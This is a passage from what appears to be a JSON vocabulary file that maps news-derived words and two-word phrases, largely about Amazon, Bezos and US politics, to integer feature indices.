173965,\n  \"tech assassination\": 173966,\n  \"texts spoke\": 173967,\n  \"woeful subway\": 173968,\n  \"draw harsh\": 173969,\n  \"facing months\": 173970,\n  \"employees assigned\": 173971,\n  \"brazil aspirations\": 173972,\n  \"new shopper\": 173973,\n  \"remains venezuela\": 173974,\n  \"unintentional\": 173975,\n  \"schumer called\": 173976,\n  \"cities oakland\": 173977,\n  \"texas nevada\": 173978,\n  \"trades amazon\": 173979,\n  \"frank regulation\": 173980,\n  \"northeast cheryl\": 173981,\n  \"free speech\": 173982,\n  \"employment equity\": 173983,\n  \"wouldn post\": 173984,\n  \"trumpy phrases\": 173985,\n  \"changed significantly\": 173986,\n  \"disaster spurs\": 173987,\n  \"usps data\": 173988,\n  \"family politico\": 173989,\n  \"decision followed\": 173990,\n  \"cautious stance\": 173991,\n  \"data video\": 173992,\n  \"view california\": 173993,\n  \"khashoggi contributor\": 173994,\n  \"upright police\": 173995,\n  \"new 1040\": 173996,\n  \"president president\": 173997,\n  \"fancy book\": 173998,\n  \"chicago roiled\": 173999,\n  \"amazon counterfeits\": 174000,\n  \"story disaster\": 174001,\n  \"company executive\": 174002,\n  \"education infrastructure\": 174003,\n  \"spark\": 174004,\n  \"targets number\": 174005,\n  \"cringely asserted\": 174006,\n  \"people press\": 174007,\n  \"nonverbal digs\": 174008,\n  \"rep jerry\": 174009,\n  \"maximum million\": 174010,\n  \"officers used\": 174011,\n  \"davidson analysts\": 174012,\n  \"products causing\": 174013,\n  \"soybean exports\": 174014,\n  \"testimony kelly\": 174015,\n  \"questions despite\": 174016,\n  \"contributor dead\": 174017,\n  \"law initiating\": 174018,\n  \"000 cost\": 174019,\n  \"fast expansion\": 174020,\n  \"1521260051 mod\": 174021,\n  \"fiscal reality\": 174022,\n  \"inauthentic items\": 174023,\n  \"construction trades\": 174024,\n  \"area share\": 174025,\n  \"contribution\": 174026,\n  \"bet large\": 174027,\n  \"1951\": 174028,\n  \"henderson hawker\": 174029,\n  \"criticism sen\": 174030,\n  \"deadpanned\": 174031,\n  \"court appearance\": 174032,\n  \"123 billion\": 174033,\n  \"company argues\": 174034,\n  \"anniversary cardi\": 174035,\n  \"existing partners\": 174036,\n  \"doctors lawyers\": 174037,\n  \"pointing\": 174038,\n  \"robert wood\": 174039,\n  \"great speech\": 174040,\n  \"glitch according\": 174041,\n  \"clashing desires\": 174042,\n  \"unmatched\": 174043,\n  \"wbes blake\": 174044,\n  \"publicized hq2\": 174045,\n  \"marie kond\\u014d\": 174046,\n  \"consumer advocates\": 174047,\n  \"social impacts\": 174048,\n  \"weinswig founder\": 174049,\n  \"intelligence officials\": 174050,\n  \"feature humans\": 174051,\n  \"article trevor\": 174052,\n  \"akram sent\": 174053,\n  \"senior federal\": 174054,\n  \"little soft\": 174055,\n  \"cohn defended\": 174056,\n  \"blow falling\": 174057,\n  \"trump perfect\": 174058,\n  \"comment fear\": 174059,\n  \"country consulate\": 174060,\n  \"auction giving\": 174061,\n  \"isnt good\": 174062,\n  \"70th\": 174063,\n  \"trump arrives\": 174064,\n  \"economic cultural\": 174065,\n  \"council turkey\": 174066,\n  \"da silva\": 174067,\n  \"seller expansion\": 174068,\n  \"best companies\": 174069,\n  \"public airing\": 174070,\n  \"prompted trump\": 174071,\n  \"research reiterated\": 174072,\n  \"rekognition remains\": 174073,\n  \"fly smart\": 174074,\n  \"trump ascended\": 174075,\n  \"including exxon\": 174076,\n  \"results frankly\": 174077,\n  \"dakota case\": 174078,\n  \"primed\": 174079,\n  \"employees wages\": 174080,\n  \"agreement\": 174081,\n  \"poverty tens\": 174082,\n  \"obtain license\": 174083,\n  \"marital breakups\": 174084,\n  \"colleague paul\": 174085,\n  \"story facing\": 174086,\n  \"simulated sex\": 174087,\n  \"assured\": 174088,\n  \"sins helpful\": 174089,\n  \"derided bezos\": 174090,\n  \"indigenous claim\": 174091,\n  \"cutting mixing\": 174092,\n  \"storm ravages\": 174093,\n  \"lawsuits donovan\": 174094,\n  \"accumulating massive\": 174095,\n  \"things felt\": 174096,\n  \"friend wife\": 174097,\n  \"purple tie\": 174098,\n  \"carouselcontentitems\": 174099,\n  \"vision 2018\": 174100,\n  \"vehicle leases\": 174101,\n  \"steep cost\": 174102,\n  \"news studio\": 174103,\n  \"unmasked\": 174104,\n  \"dominated previous\": 174105,\n  \"examine spinning\": 174106,\n  \"rhetorical attacks\": 174107,\n  \"criticized nbc\": 174108,\n  \"rents computer\": 174109,\n  \"await despite\": 174110,\n  \"bezos instantly\": 174111,\n  \"significant volume\": 174112,\n  \"planned road\": 174113,\n  \"divided states\": 174114,\n  \"daphn\\u00e9\": 174115,\n  \"resonate\": 174116,\n  \"crossover republicans\": 174117,\n  \"taxpaying retailers\": 174118,\n  \"book contents\": 174119,\n  \"finances\": 174120,\n  \"irs isn\": 174121,\n  \"forbes dallasnews\": 174122,\n  \"largest market\": 174123,\n  \"decisions trump\": 174124,\n  \"perceived feud\": 174125,\n  \"angeles county\": 174126,\n  \"trump law\": 174127,\n  \"rekognition\": 174128,\n  \"discouraging patronage\": 174129,\n  \"outpaces\": 174130,\n  \"ceo emerging\": 174131,\n  \"sadiq khan\": 174132,\n  \"warehouse conditions\": 174133,\n  \"jeopardy\": 174134,\n  \"000 duty\": 174135,\n  \"christianity usatoda\": 174136,\n  \"179\": 174137,\n  \"slimy yes\": 174138,\n  \"data highlighted\": 174139,\n  \"european markets\": 174140,\n  \"explained lawmakers\": 174141,\n  \"voting process\": 174142,\n  \"warren blasts\": 174143,\n  \"bargain stocks\": 174144,\n  \"growth drivers\": 174145,\n  \"wamhoff\": 174146,\n  \"trump steve\": 174147,\n  \"major hurdle\": 174148,\n  \"costs icahn\": 174149,\n  \"obsolete\": 174150,\n  \"god bless\": 174151,\n  \"representatives walk\": 174152,\n  \"way amazon\": 174153,\n  \"existing shipping\": 174154,\n  \"open 2018\": 174155,\n  \"source world\": 174156,\n  \"ruthless\": 174157,\n  \"hey listen\": 174158,\n  \"know putting\": 174159,\n  \"viewing data\": 174160,\n  \"fair joe\": 174161,\n  \"html video\": 174162,\n  \"awkward moments\": 174163,\n  \"chinatown\": 174164,\n  \"130bn \\u0142100bn\": 174165,\n  \"dumb\": 174166,\n  \"cosponsors\": 174167,\n  \"million titles\": 174168,\n  \"baltimore boston\": 174169,\n  \"naturalmedicine\": 174170,\n  \"hits far\": 174171,\n  \"open records\": 174172,\n  \"price range\": 174173,\n  \"banner\": 174174,\n  \"mayor include\": 174175,\n  \"recommend policy\": 174176,\n  \"growth soars\": 174177,\n  \"tim\": 174178,\n  \"american consumer\": 174179,\n  \"extra hydration\": 174180,\n  \"open pic\": 174181,\n  \"price won\": 174182,\n  \"talks waste\": 174183,\n  \"tailors order\": 174184,\n  \"parents js\": 174185,\n  \"harrowing stories\": 174186,\n  \"facts included\": 174187,\n  \"furious protester\": 174188,\n  \"rentier\": 174189,\n  \"previous cooperation\": 174190,\n  \"bank record\": 174191,\n  \"countless ancillary\": 174192,\n  \"publicly apologised\": 174193,\n  \"patriots hitting\": 174194,\n  \"took care\": 174195,\n  \"essential mail\": 174196,\n  \"1536177183\": 174197,\n  \"hempstead\": 174198,\n  \"devotes\": 174199,\n  \"property acquired\": 174200,\n  \"sexual selfies\": 174201,\n  \"sails available\": 174202,\n  \"jquery\": 174203,\n  \"unanswered question\": 174204,\n  \"gaining rapid\": 174205,\n  \"return j8i\": 174206,\n  \"prove popular\": 174207,\n  \"bottger newman\": 174208,\n  \"actress marla\": 174209,\n  \"clinton running\": 174210,\n  \"tracy gabriel\": 174211,\n  \"articleelem videoplayer\": 174212,\n  \"threads\": 174213,\n  \"angeles california\": 174214,\n  \"walking outside\": 174215,\n  \"bezos time\": 174216,\n  \"money laundering\": 174217,\n  \"recent trillion\": 174218,\n  \"paper reliably\": 174219,\n  \"2022\": 174220,\n  \"equity markets\": 174221,\n  \"apple forecasts\": 174222,\n  \"wqam joe\": 174223,\n  \"wasfired\": 174224,\n  \"new video\": 174225,\n  \"gop white\": 174226,\n  \"islam dangerous\": 174227,\n  \"including health\": 174228,\n  \"billion media\": 174229,\n  \"matching\": 174230,\n  \"poignant post\": 174231,\n  \"tax dustup\": 174232,\n  \"niiya\": 174233,\n  \"stephen levin\": 174234,\n  \"shelton shopping\": 174235,\n  \"scandalous attack\": 174236,\n  \"everyday people\": 174237,\n  \"know apple\": 174238,\n  \"magnetic\": 174239,\n  \"griffith\": 174240,\n  \"loans arena\": 174241,\n  \"documentary oprah\": 174242,\n  \"card table\": 174243,\n  \"vintage\": 174244,\n  \"digital artist\": 174245,\n  \"post national\": 174246,\n  \"gou backed\": 174247,\n  \"discouraging\": 174248,\n  \"testing\": 174249,\n  \"merve emre\": 174250,\n  \"galloway predicted\": 174251,\n  \"differentiates\": 174252,\n  \"porowski restaurant\": 174253,\n  \"saudi threats\": 174254,\n  \"hendrixson\": 174255,\n  \"billionaire having\": 174256,\n  \"make informed\": 174257,\n  \"offered zuker\": 174258,\n  \"reception sorry\": 174259,\n  \"ryan ohio\": 174260,\n  \"showed fewer\": 174261,\n  \"retailer workers\": 174262,\n  \"suitcase tsa\": 174263,\n  \"apparent hatred\": 174264,\n  \"bob pisani\": 174265,\n  \"year fineman\": 174266,\n  \"basic journalistic\": 174267,\n  \"juniper networks\": 174268,\n  \"mining activities\": 174269,\n  \"chart data\": 174270,\n  \"affair involving\": 174271,\n  \"agency positioning\": 174272,\n  \"arms illegally\": 174273,\n  \"regnery ranked\": 174274,\n  \"cnbcs\": 174275,\n  \"exculpatory\": 174276,\n  \"including war\": 174277,\n  \"corporate interests\": 174278,\n  \"draft eprivacy\": 174279,\n  \"trump daughter\": 174280,\n  \"mail based\": 174281,\n  \"newsflash\": 174282,\n  \"did say\": 174283,\n  \"controversial company\": 174284,\n  \"harrier\": 174285,\n  \"italy rising\": 174286,\n  \"members newly\": 174287,\n  \"military erred\": 174288,\n  \"publicly release\": 174289,\n  \"interestingly agriculture\": 174290,\n  \"air jet\": 174291,\n  \"mart nyse\": 174292,\n  \"gas leases\": 174293,\n  \"says 51554478900\": 174294,\n  \"hq2 rollout\": 174295,\n  \"uses amazon\": 174296,\n  \"supports medicare\": 174297,\n  \"selyukh\": 174298,\n  \"new star\": 174299,\n  \"research bezos\": 174300,\n  \"money story\": 174301,\n  \"recanted\": 174302,\n  \"small distribution\": 174303,\n  \"chang majordomo\": 174304,\n  \"progressive democrats\": 174305,\n  \"outnumber workers\": 174306,\n  \"leaving white\": 174307,\n  \"rainforest significantly\": 174308,\n  \"cause antitrust\": 174309,\n  \"cast democrats\": 174310,\n  \"read business\": 174311,\n  \"intermingled\": 174312,\n  \"technology executives\": 174313,\n  \"blasio administration\": 174314,\n  \"forward thinking\": 174315,\n  \"article journalism\": 174316,\n  \"excellent point\": 174317,\n  \"simply political\": 174318,\n  \"tech providers\": 174319,\n  \"mcdowell cheryl\": 174320,\n  \"commentators argued\": 174321,\n  \"passionately\": 174322,\n  \"queens community\": 174323,\n  \"exiles\": 174324,\n  \"2018 broken\": 174325,\n  \"violations tax\": 174326,\n  \"daughter team\": 174327,\n  \"store benefits\": 174328,\n  \"jenner 2015\": 174329,\n  \"opining\": 174330,\n  \"legit reason\": 174331,\n  \"bezos critic\": 174332,\n  \"corporation benefits\": 174333,\n  \"sun does\": 174334,\n  \"story retailers\": 174335,\n  \"understate\": 174336,\n  \"sanders office\": 174337,\n  \"orig cnn\": 174338,\n  \"culminates\": 174339,\n  \"stores aka\": 174340,\n  \"exploration washington\": 174341,\n  \"collecticon\": 174342,\n  \"podcastone\": 174343,\n  \"bezos chief\": 174344,\n  \"dream missouri\": 174345,\n  \"mn reported\": 174346,\n  \"founder steve\": 174347,\n  \"pecker francois\": 174348,\n  \"gender isn\": 174349,\n  \"established press\": 174350,\n  \"political rival\": 174351,\n  \"point loss\": 174352,\n  \"deserves new\": 174353,\n  \"edwardsville\": 174354,\n  \"opioid promotions\": 174355,\n  \"martha maccallum\": 174356,\n  \"infamous trump\": 174357,\n  \"valley data\": 174358,\n  \"townhall event\": 174359,\n  \"director media\": 174360,\n  \"shteyngart jonathan\": 174361,\n  \"washington public\": 174362,\n  \"comment ron\": 174363,\n  \"close tokyo\": 174364,\n  \"erred\": 174365,\n  \"tech stock\": 174366,\n  \"offshore debt\": 174367,\n  \"turn worsen\": 174368,\n  \"high level\": 174369,\n  \"trump cease\": 174370,\n  \"support thankful\": 174371,\n  \"nightlife industry\": 174372,\n  \"quick read\": 174373,\n  \"deuce returns\": 174374,\n  \"men grooming\": 174375,\n  \"barro wrote\": 174376,\n  \"world bucked\": 174377,\n  \"amazon campus\": 174378,\n  \"won nobel\": 174379,\n  \"google gmail\": 174380,\n  \"child sizes\": 174381,\n  \"spiral embroidery\": 174382,\n  \"uk parliament\": 174383,\n  \"sanders changing\": 174384,\n  \"criticisms bezos\": 174385,\n  \"shoplocal boycottamazon\": 174386,\n  \"city posted\": 174387,\n  \"excerpt hope\": 174388,\n  \"meantime different\": 174389,\n  \"hired tell\": 174390,\n  \"detainment facility\": 174391,\n  \"bannon cambridge\": 174392,\n  \"small farmers\": 174393,\n  \"authorize agencies\": 174394,\n  \"buy gifts\": 174395,\n  \"catlin\": 174396,\n  \"skyhorse version\": 174397,\n  \"fund future\": 174398,\n  \"criticised amazon\": 174399,\n  \"unflinchingly reported\": 174400,\n  \"cohon toronto\": 174401,\n  \"detox week\": 174402,\n  \"harsh light\": 174403,\n  \"james thomson\": 174404,\n  \"annual reputation\": 174405,\n  \"powerful technologies\": 174406,\n  \"bezos does\": 174407,\n  \"church\": 174408,\n  \"contending\": 174409,\n  \"magnificent beast\": 174410,\n  \"teva shares\": 174411,\n  \"mantel\": 174412,\n  \"businesses dive\": 174413,\n  \"situation actually\": 174414,\n  \"facing higher\": 174415,\n  \"consumers bmw\": 174416,\n  \"burn fat\": 174417,\n  \"tm marital\": 174418,\n  \"bezos declined\": 174419,\n  \"watched later\": 174420,\n  \"twists\": 174421,\n  \"trust charges\": 174422,\n  \"demonstrating amazon\": 174423,\n  \"reduced volume\": 174424,\n  \"dropped sharply\": 174425,\n  \"paying potential\": 174426,\n  \"earlier amazon\": 174427,\n  \"spheres\": 174428,\n  \"donations sort\": 174429,\n  \"annual letter\": 174430,\n  \"drummed\": 174431,\n  \"apple wrote\": 174432,\n  \"ties\": 174433,\n  \"arsenic wafers\": 174434,\n  \"interfaces apis\": 174435,\n  \"ice notechforice\": 174436,\n  \"amid sexual\": 174437,\n  \"articulate\": 174438,\n  \"harsh immigration\": 174439,\n  \"premier cards\": 174440,\n  \"executives approved\": 174441,\n  \"annenberg center\": 174442,\n  \"advertise\": 174443,\n  \"reported 11m\": 174444,\n  \"publisher obtained\": 174445,\n  \"today program\": 174446,\n  \"deutsche\": 174447,\n  \"banker carol\": 174448,\n  \"tennessee gov\": 174449,\n  \"operation math\": 174450,\n  \"predetermines\": 174451,\n  \"finalists\": 174452,\n  \"series stars\": 174453,\n  \"marveled\": 174454,\n  \"predatory habits\": 174455,\n  \"harrison ford\": 174456,\n  \"rousseff discovered\": 174457,\n  \"liberties advocates\": 174458,\n  \"honors\": 174459,\n  \"quarter upbeat\": 174460,\n  \"japanese sunscreen\": 174461,\n  \"breaks altogether\": 174462,\n  \"defeat man\": 174463,\n  \"reserved material\": 174464,\n  \"london ftse\": 174465,\n  \"oppenheim\": 174466,\n  \"rules taste\": 174467,\n  \"flick starring\": 174468,\n  \"continued heavy\": 174469,\n  \"exposing sexual\": 174470,\n  \"year heather\": 174471,\n  \"worth thinking\": 174472,\n  \"shipping data\": 174473,\n  \"deluge\": 174474,\n  \"silent princess\": 174475,\n  \"schwan isn\": 174476,\n  \"underway conservationists\": 174477,\n  \"guy sure\": 174478,\n  \"assets europe\": 174479,\n  \"accomplished\": 174480,\n  \"post type\": 174481,\n  \"charges severe\": 174482,\n  \"international shippers\": 174483,\n  \"native people\": 174484,\n  \"drug firms\": 174485,\n  \"690 words\": 174486,\n  \"pack goods\": 174487,\n  \"empire claiming\": 174488,\n  \"mandates cooling\": 174489,\n  \"review staff\": 174490,\n  \"renewed scaring\": 174491,\n  \"hosts weekend\": 174492,\n  \"media person\": 174493,\n  \"morning calling\": 174494,\n  \"bezos jokes\": 174495,\n  \"galleries\": 174496,\n  \"stone sign\": 174497,\n  \"livewire tpmlivewire\": 174498,\n  \"test presidential\": 174499,\n  \"usps role\": 174500,\n  \"wire anthony\": 174501,\n  \"antifa\": 174502,\n  \"promise 2018\": 174503,\n  \"ranchers shock\": 174504,\n  \"open source\": 174505,\n  \"uk amazon\": 174506,\n  \"americans willingness\": 174507,\n  \"miami beach\": 174508,\n  \"service story\": 174509,\n  \"befall\": 174510,\n  \"revenues experiencing\": 174511,\n  \"nathanbomey\": 174512,\n  \"heyer\": 174513,\n  \"challenge obama\": 174514,\n  \"columnist\": 174515,\n  \"asked does\": 174516,\n  \"boilerplate register\": 174517,\n  \"candidates deliver\": 174518,\n  \"team olson\": 174519,\n  \"good food\": 174520,\n  \"whooping cough\": 174521,\n  \"solution citing\": 174522,\n  \"rust belt\": 174523,\n  \"serrano waterfront\": 174524,\n  \"makes\": 174525,\n  \"netflix board\": 174526,\n  \"interrupt conversation\": 174527,\n  \"does seattle\": 174528,\n  \"boston indianapolis\": 174529,\n  \"continental trump\": 174530,\n  \"county wis\": 174531,\n  \"excellent performance\": 174532,\n  \"media business\": 174533,\n  \"verify electronic\": 174534,\n  \"actions seek\": 174535,\n  \"presidential retreat\": 174536,\n  \"gdp booming\": 174537,\n  \"officially kicks\": 174538,\n  \"equally\": 174539,\n  \"trade partly\": 174540,\n  \"capped drama\": 174541,\n  \"clear americans\": 174542,\n  \"cdc government\": 174543,\n  \"nickel boys\": 174544,\n  \"louis county\": 174545,\n  \"handle complaints\": 174546,\n  \"average beer\": 174547,\n  \"far negative\": 174548,\n  \"moon bible\": 174549,\n  \"cowen survey\": 174550,\n  \"staving\": 174551,\n  \"nonprofits universities\": 174552,\n  \"company engaged\": 174553,\n  \"russiagate\": 174554,\n  \"sanctuary cities\": 174555,\n  \"time startdate\": 174556,\n  \"index returns\": 174557,\n  \"whitaker acting\": 174558,\n  \"newspapers man\": 174559,\n  \"fi horror\": 174560,\n  \"inventors bob\": 174561,\n  \"sells\": 174562,\n  \"elber upcoming\": 174563,\n  \"little protection\": 174564,\n  \"purchase donate\": 174565,\n  \"advertising production\": 174566,\n  \"agency final\": 174567,\n  \"sacred places\": 174568,\n  \"surveys suggest\": 174569,\n  \"hate american\": 174570,\n  \"en\": 174571,\n  \"read briefing\": 174572,\n  \"media attention\": 174573,\n  \"blockbuster performance\": 174574,\n  \"good middle\": 174575,\n  \"ranganathan budding\": 174576,\n  \"street governor\": 174577,\n  \"certain changes\": 174578,\n  \"independent science\": 174579,\n  \"persuasive\": 174580,\n  \"new expensive\": 174581,\n  \"constitutes fake\": 174582,\n  \"providing better\": 174583,\n  \"loeb afp\": 174584,\n  \"combat experience\": 174585,\n  \"america firsts\": 174586,\n  \"ice facility\": 174587,\n  \"kiernan\": 174588,\n  \"modernists social\": 174589,\n  \"anti counterfeiting\": 174590,\n  \"facebook board\": 174591,\n  \"ships wrote\": 174592,\n  \"confiscated venezuela\": 174593,\n  \"publication turning\": 174594,\n  \"deems companies\": 174595,\n  \"repositories\": 174596,\n  \"wba\": 174597,\n  \"t\\u00e9a obreht\": 174598,\n  \"ol horror\": 174599,\n  \"extortion practices\": 174600,\n  \"direct way\": 174601,\n  \"rashomon\": 174602,\n  \"post encouraging\": 174603,\n  \"objection avon\": 174604,\n  \"mcrae says\": 174605,\n  \"reject trump\": 174606,\n  \"extortion according\": 174607,\n  \"massive cronyism\": 174608,\n  \"hellacious bundle\": 174609,\n  \"protect intellectual\": 174610,\n  \"trump enmity\": 174611,\n  \"proposed editorials\": 174612,\n  \"economic team\": 174613,\n  \"mash\": 174614,\n  \"playing fields\": 174615,\n  \"coby\": 174616,\n  \"clear strong\": 174617,\n  \"million prime\": 174618,\n  \"050 pushing\": 174619,\n  \"market trumps\": 174620,\n  \"ap airbus\": 174621,\n  \"advanced problem\": 174622,\n  \"hugely\": 174623,\n  \"ultra tangy\": 174624,\n  \"talkin\": 174625,\n  \"fare fact\": 174626,\n  \"amazon recalled\": 174627,\n  \"economies eunice\": 174628,\n  \"related fields\": 174629,\n  \"china demand\": 174630,\n  \"tokyo new\": 174631,\n  \"sellers paid\": 174632,\n  \"straddle\": 174633,\n  \"workshops\": 174634,\n  \"cnbc published\": 174635,\n  \"computer uses\": 174636,\n  \"area study\": 174637,\n  \"benz\": 174638,\n  \"overturning\": 174639,\n  \"carville washington\": 174640,\n  \"created 130\": 174641,\n  \"corrupting\": 174642,\n  \"union tribune\": 174643,\n  \"danhof\": 174644,\n  \"weisberger latest\": 174645,\n  \"agreement download\": 174646,\n  \"journalists academics\": 174647,\n  \"kavanaugh guilty\": 174648,\n  \"augmented\": 174649,\n  \"post truth\": 174650,\n  \"auction software\": 174651,\n  \"sparked circular\": 174652,\n  \"trump planned\": 174653,\n  \"choosing process\": 174654,\n  \"best case\": 174655,\n  \"book club\": 174656,\n  \"funnel\": 174657,\n  \"turning story\": 174658,\n  \"policy strategist\": 174659,\n  \"southern illinois\": 174660,\n  \"730 000\": 174661,\n  \"story roger\": 174662,\n  \"convicted ruggiero\": 174663,\n  \"state money\": 174664,\n  \"nationwide strikes\": 174665,\n  \"sex politics\": 174666,\n  \"tree nicknamed\": 174667,\n  \"metoo tsunami\": 174668,\n  \"revealing 2016\": 174669,\n  \"reduce poverty\": 174670,\n  \"voice lessons\": 174671,\n  \"shackles\": 174672,\n  \"v1 tolowercase\": 174673,\n  \"company packages\": 174674,\n  \"palantir technologies\": 174675,\n  \"near dc\": 174676,\n  \"faces calls\": 174677,\n  \"trapped animal\": 174678,\n  \"50x50 getty_173218731_200015422000928060_388160\": 174679,\n  \"line checkout\": 174680,\n  \"past apple\": 174681,\n  \"manila\": 174682,\n  \"fox talking\": 174683,\n  \"2013 trump\": 174684,\n  \"reddit match\": 174685,\n  \"wanted structural\": 174686,\n  \"companies rank\": 174687,\n  \"company looks\": 174688,\n  \"haaland\": 174689,\n  \"disputed provisions\": 174690,\n  \"consensus calls\": 174691,\n  \"wrong person\": 174692,\n  \"roig franzia\": 174693,\n  \"releasing\": 174694,\n  \"killed minutes\": 174695,\n  \"camp\": 174696,\n  \"human sacrifice\": 174697,\n  \"important priorities\": 174698,\n  \"terror amazon\": 174699,\n  \"confederate symbols\": 174700,\n  \"street employee\": 174701,\n  \"philanthropic causes\": 174702,\n  \"w4w\": 174703,\n  \"unrivaled talent\": 174704,\n  \"existing plans\": 174705,\n  \"farm workers\": 174706,\n  \"following zuckerberg\": 174707,\n  \"program related\": 174708,\n  \"cloudscape\": 174709,\n  \"midweek games\": 174710,\n  \"altogether congresswoman\": 174711,\n  \"week listening\": 174712,\n  \"contributed terrence\": 174713,\n  \"pedigree\": 174714,\n  \"itt pledged\": 174715,\n  \"mutilations\": 174716,\n  \"portraying\": 174717,\n  \"glue\": 174718,\n  \"firmly believe\": 174719,\n  \"mobile modernizr\": 174720,\n  \"possibly endanger\": 174721,\n  \"sources added\": 174722,\n  \"giant bnsf\": 174723,\n  \"appearance green\": 174724,\n  \"company troubled\": 174725,\n  \"stay san\": 174726,\n  \"untapped\": 174727,\n  \"parking place\": 174728,\n  \"tax bracket\": 174729,\n  \"publicly arguing\": 174730,\n  \"received approval\": 174731,\n  \"xi apparently\": 174732,\n  \"warren pinpointed\": 174733,\n  \"says britain\": 174734,\n  \"graveyard\": 174735,\n  \"elliott served\": 174736,\n  \"fatter\": 174737,\n  \"location amazon\": 174738,\n  \"investment manager\": 174739,\n  \"p4\": 174740,\n  \"trump senate\": 174741,\n  \"demanded agency\": 174742,\n  \"hour strike\": 174743,\n  \"regard selected\": 174744,\n  \"servicenow\": 174745,\n  \"free press\": 174746,\n  \"reason google\": 174747,\n  \"dancer mary\": 174748,\n  \"podcast words\": 174749,\n  \"potential shipping\": 174750,\n  \"employees claiming\": 174751,\n  \"2018 sourcename\": 174752,\n  \"global estimated\": 174753,\n  \"phone manufacturers\": 174754,\n  \"grow companies\": 174755,\n  \"food preparation\": 174756,\n  \"trump tweet\": 174757,\n  \"writer katie\": 174758,\n  \"monitor arm\": 174759,\n  \"problem read\": 174760,\n  \"washington task\": 174761,\n  \"future moody\": 174762,\n  \"trains run\": 174763,\n  \"really thrive\": 174764,\n  \"contempt scandal\": 174765,\n  \"drew hisses\": 174766,\n  \"ply power\": 174767,\n  \"pressure bartiromo\": 174768,\n  \"president appeared\": 174769,\n  \"today global\": 174770,\n  \"dormant\": 174771,\n  \"billion owned\": 174772,\n  \"matt whitlock\": 174773,\n  \"mcdonough school\": 174774,\n  \"impact operating\": 174775,\n  \"courier company\": 174776,\n  \"weren going\": 174777,\n  \"blocking\": 174778,\n  \"medicaid rules\": 174779,\n  \"nov elections\": 174780,\n  \"speak clearly\": 174781,\n  \"advent\": 174782,\n  \"j0\": 174783,\n  \"started rolling\": 174784,\n  \"cnn u003ca\": 174785,\n  \"trillion alongside\": 174786,\n  \"joining robust\": 174787,\n  \"early motto\": 174788,\n  \"little bit\": 174789,\n  \"status 1019644666608803840\": 174790,\n  \"assistant ubiquitous\": 174791,\n  \"arbor hill\": 174792,\n  \"bogus legalistic\": 174793,\n  \"met trade\": 174794,\n  \"stars amandla\": 174795,\n  \"locate distribution\": 174796,\n  \"relinquished\": 174797,\n  \"greedily taking\": 174798,\n  \"fairly\": 174799,\n  \"richest man\": 174800,\n  \"showtime digital\": 174801,\n  \"firsthand account\": 174802,\n  \"local newspapers\": 174803,\n  \"google google\": 174804,\n  \"massive losses\": 174805,\n  \"government estimates\": 174806,\n  \"general comment\": 174807,\n  \"birkenstock pulled\": 174808,\n  \"crisis prices\": 174809,\n  \"unwaveringly committed\": 174810,\n  \"widespread belief\": 174811,\n  \"bumblefuck\": 174812,\n  \"different categories\": 174813,\n  \"graces according\": 174814,\n  \"frequently counterfeited\": 174815,\n  \"ala 007\": 174816,\n  \"automate discovery\": 174817,\n  \"obvious human\": 174818,\n  \"channels amazon\": 174819,\n  \"industry foundation\": 174820,\n  \"uk spent\": 174821,\n  \"reportedly raging\": 174822,\n  \"season includes\": 174823,\n  \"creating new\": 174824,\n  \"prime plus\": 174825,\n  \"completed wrapping\": 174826,\n  \"photo letters\": 174827,\n  \"aunt dorothy\": 174828,\n  \"mind altering\": 174829,\n  \"candlelight\": 174830,\n  \"clinton case\": 174831,\n  \"choose different\": 174832,\n  \"years helping\": 174833,\n  \"ceo threatening\": 174834,\n  \"mud\": 174835,\n  \"tech president\": 174836,\n  \"floor following\": 174837,\n  \"primaries defends\": 174838,\n  \"secret documents\": 174839,\n  \"national democrats\": 174840,\n  \"won help\": 174841,\n  \"groups announced\": 174842,\n  \"evaristo miranda\": 174843,\n  \"pro forma\": 174844,\n  \"city king\": 174845,\n  \"player protests\": 174846,\n  \"individual children\": 174847,\n  \"polish remover\": 174848,\n  \"sapphire\": 174849,\n  \"pay outsized\": 174850,\n  \"corner jeff\": 174851,\n  \"income heavily\": 174852,\n  \"brazilian environmental\": 174853,\n  \"profitable wadhwa\": 174854,\n  \"allegedly sent\": 174855,\n  \"box loose\": 174856,\n  \"idle\": 174857,\n  \"just finding\": 174858,\n  \"fancy hotel\": 174859,\n  \"salvaging\": 174860,\n  \"davie\": 174861,\n  \"recent large\": 174862,\n  \"size dominating\": 174863,\n  \"post remains\": 174864,\n  \"provide analysis\": 174865,\n  \"kids visit\": 174866,\n  \"rightward\": 174867,\n  \"million day\": 174868,\n  \"corbyn jeremycorbyn\": 174869,\n  \"seconds wh\": 174870,\n  \"healing\": 174871,\n  \"weingarten\": 174872,\n  \"countries brazil\": 174873,\n  \"fall adding\": 174874,\n  \"amazon grain\": 174875,\n  \"record true\": 174876,\n  \"boulder\": 174877,\n  \"willful acquisition\": 174878,\n  \"helped win\": 174879,\n  \"ford government\": 174880,\n  \"benzene\": 174881,\n  \"nudes leaked\": 174882,\n  \"black president\": 174883,\n  \"tax refunds\": 174884,\n  \"faa hey\": 174885,\n  \"war rhetoric\": 174886,\n  \"cutlery\": 174887,\n  \"google owner\": 174888,\n  \"paint dry\": 174889,\n  \"alcoa told\": 174890,\n  \"photos ext\": 174891,\n  \"forces motivated\": 174892,\n  \"company direct\": 174893,\n  \"5_5 ad\": 174894,\n  \"w9x n3x\": 174895,\n  \"hit theaters\": 174896,\n  \"gerryr812\": 174897,\n  \"atlanta volunteered\": 174898,\n  \"record 2018\": 174899,\n  \"sniff\": 174900,\n  \"microsoft wins\": 174901,\n  \"having played\": 174902,\n  \"firm points\": 174903,\n  \"bulk rate\": 174904,\n  \"true abroad\": 174905,\n  \"state economy\": 174906,\n  \"trusting\": 174907,\n  \"global advsr\": 174908,\n  \"damianpaletta\": 174909,\n  \"rivet\": 174910,\n  \"canadian dollar\": 174911,\n  \"crc\": 174912,\n  \"reporter taylor\": 174913,\n  \"lead wall\": 174914,\n  \"puts aws\": 174915,\n  \"making process\": 174916,\n  \"bellwether\": 174917,\n  \"quincy\": 174918,\n  \"female lawmakers\": 174919,\n  \"ansari\": 174920,\n  \"troubling right\": 174921,\n  \"mike quigley\": 174922,\n  \"moreabout\": 174923,\n  \"getting divorced\": 174924,\n  \"simple step\": 174925,\n  \"ftc main\": 174926,\n  \"immediate community\": 174927,\n  \"photo provided\": 174928,\n  \"division addressed\": 174929,\n  \"truly disadvantaged\": 174930,\n  \"restock\": 174931,\n  \"known danner\": 174932,\n  \"brittany williams\": 174933,\n  \"prime worth\": 174934,\n  \"farrow\": 174935,\n  \"streamline online\": 174936,\n  \"emphasizes\": 174937,\n  \"state having\": 174938,\n  